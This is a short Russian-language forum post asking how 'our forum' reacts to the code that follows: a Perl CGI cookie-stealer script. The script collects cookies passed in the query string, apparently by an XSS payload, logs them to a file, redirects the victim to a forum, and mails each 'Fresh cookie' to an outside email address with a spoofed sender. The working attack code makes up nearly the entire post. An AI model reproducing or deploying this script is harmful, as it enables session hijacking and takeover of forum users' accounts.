а как наш форум реагирует на такое?
#!/usr/bin/perl
use CGI qw(:standard);
$cookie=$ENV{QUERY_STRING};
$file="cook.txt";
open (FILE, ">>$file");
print FILE "$cookie\n\n";
close(file);
$query = CGI::new();
print $query->redirect('
http://blackdeath.ru/forum/index.php');$mailprog = '/usr/sbin/sendmail';
$mail='
yaruk7@mail.ru';
$target='
admin@blackdeath.ru';
open (MAIL, "|$mailprog -t");
print MAIL "Content-Type: text/plain\n";
print MAIL "Subject: Fresh cookie\n";
print MAIL "To: $mail\n";
print MAIL "From: '.$target.'\n\n";
print MAIL "$cookie";
close (MAIL);
)
Автор
